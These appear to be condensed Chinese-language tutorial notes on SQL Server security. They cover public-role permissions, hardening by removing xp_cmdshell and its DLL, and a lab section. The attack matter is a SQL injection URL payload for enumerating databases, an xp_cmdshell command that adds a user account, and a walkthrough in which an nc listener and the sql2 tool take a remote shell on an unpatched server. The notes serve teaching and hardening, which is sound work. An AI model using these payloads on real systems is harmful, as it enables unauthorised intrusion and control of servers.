aaa,強密碼,伺服器角色全不選。xyz庫,資料庫角色僅public。aaa登入「SQL查詢分析器」測試:EXEC xp_cmdshell 'net user user1 /add' → 無權限(預期)。但SELECT name FROM sysdatabases WHERE dbid>6 → 竟能查出所有資料庫(含master),違背預期。public角色特殊:每個DB用戶自動屬於、無法移除、存在於所有DB(含master/msdb/tempdb/model),捕獲所有預設權限。在master中public擁有sysdatabases的SELECT權限(權限細分到Select/Insert/Update/Delete)。將該權限設為「拒絕」後,再執行查詢即提示「拒絕SELECT權限」。
public預設無執行擴展預存程序權限,但可授予;有存取資料庫權限,也可移除。權限配置是雙面刃:過鬆有漏洞、過嚴應用報錯,無完美方案,需懂原理後實踐摸索最佳配置。
ASP連接SQL Server帳號權限過大+ASP程式漏洞 → 構造惡意SQL語句(如.../aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6))暴庫/表/記錄。相關經典文章與工具(如NBSI2)眾多,不贅述。
環境:192.168.113.10裝有漏洞SQL Server(SP2含以下),攻擊機192.168.113.207。工具:nc(瑞士軍刀)、sql2(專攻有漏洞SQL Server)。
nc -l -p 77監聽。sql2 192.168.113.10 192.168.113.207 77 0。nc視窗出現目標機命令列介面(已入侵控制)。ipconfig確認IP為192.168.113.10,控制權到手。不打補丁的SQL Server就是大漏勺,權限設再嚴也擋不住。
EXEC sp_dropextendedproc '名稱'(如xp_cmdshell)。徹底失效還須刪除對應DLL(通常在Program Files\Microsoft SQL Server\MSSQL\Binn,xp_cmdshell對應xplog70.dll)。恢復:EXEC sp_addextendedproc '名稱', @dllname='DLL名'(若DLL已刪需複製回來)。